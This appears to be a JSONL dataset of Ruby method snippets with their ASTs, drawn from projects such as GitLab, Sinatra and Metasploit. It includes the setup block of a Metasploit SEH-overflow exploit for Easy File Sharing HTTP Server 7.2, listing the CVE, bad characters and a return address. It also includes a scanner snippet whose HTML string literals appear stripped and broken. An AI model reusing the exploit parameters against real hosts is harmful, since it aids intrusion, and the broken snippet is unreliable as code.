+{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/user_consent_helper.rb","start_line":36,"raw_source":"def user_consent_required?\n # Ensure consent is enabled and a text is provided\n Setting.consent_required? && consent_configured?\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user_consent_required?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"consent_required?\"]},{\"type\":\"send\",\"children\":[null,\"consent_configured?\"]}]}]}","id":"258f0d22-c817-46c0-8cd6-2dd674afe521"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request_diff.rb","start_line":808,"raw_source":"def build_merge_request_diff_files(diffs)\n sort_diffs(diffs).map.with_index do |diff, index|\n diff_hash = diff.to_hash.merge(\n binary: false,\n merge_request_diff_id: self.id,\n relative_order: index,\n project_id: self.project_id\n )\n\n if Feature.enabled?(:deduplicate_new_path_value, Project.find(self.project_id))\n diff_hash[:new_path] = diff.new_path == diff.old_path ? nil : diff.new_path\n end\n\n # Compatibility with old diffs created with Psych.\n diff_hash.tap do |hash|\n diff_text = hash[:diff]\n\n if encode_in_base64?(diff_text)\n hash[:binary] = true\n hash[:diff] = [diff_text].pack('m0')\n end\n end\n end\n end","complexity_score":37.7,"ast_json":"{\"type\":\"def\",\"children\":[\"build_merge_request_diff_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diffs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_diffs\",{\"type\":\"lvar\",\"children\":[\"diffs\"]}]},\"map\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"to_hash\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"binary\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request_diff_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_order\"]},{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"project_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"deduplicate_new_path_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"project_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"new_path\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"new_path\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"old_path\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"new_path\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_hash\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff_text\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"diff\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encode_in_base64?\",{\"type\":\"lvar\",\"children\":[\"diff_text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"binary\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"diff\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_text\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"m0\"]}]}]}]},null]}]}]}]}]}]}","id":"4d703a87-42cb-476c-b518-ac06a029261b"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/bottleneck_event.rb","start_line":11,"raw_source":"def self.generate_future_events(obj)\n log_message_uniq_prefix = \"Generating future bottleneck events for: [#{obj.class} - #{obj.name}]...\"\n last = last_created_on(obj)\n if last && last >= 24.hours.ago.utc\n _log.info(\"#{log_message_uniq_prefix} Skipped, last creation [#{last}] was less than 24 hours ago\")\n return\n end\n dels = delete_future_events_for_obj(obj)\n adds = 0\n future_event_definitions_for_obj(obj).each do |e|\n result = calculate_future_event(obj, e[:definition][:calculation])\n next if result.blank? || result[:timestamp].nil?\n\n # TODO: determine whether we omit results that are in the past\n\n event = new(e[:definition][:event])\n event.future = true\n event.resource = obj\n event.resource_name = obj.name if obj.respond_to?(:name)\n event.timestamp = result.delete(:timestamp)\n event.context_data = e[:definition].merge(result)\n event.message = build_event_message(event.context_data)\n if event.save\n adds += 1\n else\n _log.warn(\"#{log_message_uniq_prefix} failed with '#{event.errors.full_messages.join(', ')}'\")\n end\n end\n\n _log.info(\"#{log_message_uniq_prefix} Complete - Added #{adds} / Deleted #{dels}\")\n end","complexity_score":72.05,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"generate_future_events\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"log_message_uniq_prefix\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Generating future bottleneck events for: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"]...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"last\",{\"type\":\"send\",\"children\":[null,\"last_created_on\",{\"type\":\"lvar\",\"children\":[\"obj\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[24]},\"hours\"]},\"ago\"]},\"utc\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_message_uniq_prefix\"]}]},{\"type\":\"str\",\"children\":[\" Skipped, last creation [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last\"]}]},{\"type\":\"str\",\"children\":[\"] was less than 24 hours ago\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"dels\",{\"type\":\"send\",\"children\":[null,\"delete_future_events_for_obj\",{\"type\":\"lvar\",\"children\":[\"obj\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"adds\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"future_event_definitions_for_obj\",{\"type\":\"lvar\",\"children\":[\"obj\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"calculate_future_event\",{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"definition\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"calculation\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timestamp\"]}]},\"nil?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"definition\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"event\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"future=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"resource=\",{\"type\":\"lvar\",\"children\":[\"obj\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"resource_name=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"name\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"timestamp=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"timestamp\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"context_data=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"definition\"]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"message=\",{\"type\":\"send\",\"children\":[null,\"build_event_message\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"context_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"save\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"adds\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_message_uniq_prefix\"]}]},{\"type\":\"str\",\"children\":[\" failed with '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"errors\"]},\"full_messages\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_message_uniq_prefix\"]}]},{\"type\":\"str\",\"children\":[\" Complete - Added \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adds\"]}]},{\"type\":\"str\",\"children\":[\" / Deleted \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dels\"]}]}]}]}]}]}","id":"c5bdc409-8aff-43c3-b872-f72eabc1af48"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/data_sync/widgets/milestone.rb","start_line":39,"raw_source":"def matching_milestone\n params = { project_ids: target_work_item.project&.id, group_ids: ancestors }\n milestone = by_id(params)\n\n return milestone if milestone.present?\n\n by_title(params)\n end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"matching_milestone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_ids\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_work_item\"]},\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_ids\"]},{\"type\":\"send\",\"children\":[null,\"ancestors\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"milestone\",{\"type\":\"send\",\"children\":[null,\"by_id\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestone\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestone\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"by_title\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"c15b34b4-95ca-422f-80d6-64896a80d8a7"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/dir_listing.rb","start_line":38,"raw_source":"def run_host(ip)\n tpath = normalize_uri(datastore['PATH'])\n if tpath[-1, 1] != '/'\n tpath += '/'\n end\n\n begin\n res = send_request_cgi({\n 'uri' => tpath,\n 'method' => 'GET',\n 'ctype'\t=> 'text/plain'\n }, 20)\n\n if (res and res.code >= 200 and res.code < 300)\n if res.to_s.include? \"Index of /\" and res.to_s.include? \"
Index of /\"\n print_good(\"Found Directory Listing #{wmap_base_url}#{tpath}\")\n\n report_web_vuln(\n :host\t=> ip,\n :port\t=> rport,\n :vhost => vhost,\n :ssl => ssl,\n :path\t=> \"#{tpath}\",\n :method => 'GET',\n :pname => \"\",\n :proof => \"Res code: #{res.code.to_s}\",\n :risk => 0,\n :confidence => 100,\n :category => 'directory',\n :description => 'Directory found allowing listing of its contents.',\n :name => 'directory listing'\n )\n\n end\n\n if res.to_s.include? \"[To Parent Directory]\" and res.to_s.include? \"#{tpath}
Index of /\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found Directory Listing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wmap_base_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tpath\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_web_vuln\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vhost\"]},{\"type\":\"send\",\"children\":[null,\"vhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssl\"]},{\"type\":\"send\",\"children\":[null,\"ssl\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tpath\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pname\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Res code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"to_s\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"directory\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Directory found allowing listing of its contents.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"directory listing\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"[To Parent Directory]\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]},\"include?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tpath\"]}]},{\"type\":\"str\",\"children\":[\"
\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found Directory Listing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wmap_base_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tpath\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_web_vuln\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vhost\"]},{\"type\":\"send\",\"children\":[null,\"vhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssl\"]},{\"type\":\"send\",\"children\":[null,\"ssl\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tpath\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pname\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Res code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"to_s\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"directory\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Directory found allowing listing of its contents.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"directory listing\"]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"NOT Vulnerable to directory listing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wmap_base_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tpath\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EPIPE\"]}]},null,null]},null]}]}]}]}","id":"6a0b5c1b-dc2f-4f2d-a5f4-44356da15e55"}
+{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":310,"raw_source":"def redirect(uri, *args)\n # SERVER_PROTOCOL is required in Rack 3, fall back to HTTP_VERSION\n # for servers not updated for Rack 3 (like Puma 5)\n http_version = env['SERVER_PROTOCOL'] || env['HTTP_VERSION']\n if (http_version == 'HTTP/1.1') && (env['REQUEST_METHOD'] != 'GET')\n status 303\n else\n status 302\n end\n\n # According to RFC 2616 section 14.30, \"the field value consists of a\n # single absolute URI\"\n response['Location'] = uri(uri.to_s, settings.absolute_redirects?, settings.prefixed_redirects?)\n halt(*args)\n end","complexity_score":27.05,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"http_version\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SERVER_PROTOCOL\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_VERSION\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http_version\"]},\"==\",{\"type\":\"str\",\"children\":[\"HTTP/1.1\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"REQUEST_METHOD\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"status\",{\"type\":\"int\",\"children\":[303]}]},{\"type\":\"send\",\"children\":[null,\"status\",{\"type\":\"int\",\"children\":[302]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Location\"]},{\"type\":\"send\",\"children\":[null,\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"absolute_redirects?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"prefixed_redirects?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"halt\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"6d496e61-b798-4f0c-8d00-641cb0586f09"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/easyfilesharing_seh.rb","start_line":12,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',\n 'Description' => %q{\n This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.\n },\n 'Author' => 'Starwarsfan2099 ',\n 'License' => MSF_LICENSE,\n 'References' => [\n [ 'CVE', '2018-9059' ],\n [ 'EDB', '39008' ],\n ],\n 'Privileged' => true,\n 'Payload' => {\n 'Space' => 390,\n 'BadChars' => \"\\x00\\x7e\\x2b\\x26\\x3d\\x25\\x3a\\x22\\x0a\\x0d\\x20\\x2f\\x5c\\x2e\",\n 'StackAdjustment' => -3500,\n },\n 'Platform' => 'win',\n 'Targets' => [\n [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798 } ],\n ],\n 'DefaultOptions' => {\n 'RPORT' => 80\n },\n 'DisclosureDate' => '2015-12-02',\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Easy File Sharing HTTP Server 7.2 SEH Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"Starwarsfan2099 \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2018-9059\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"39008\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[390]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000~+&=%:\\\"\\n\\r 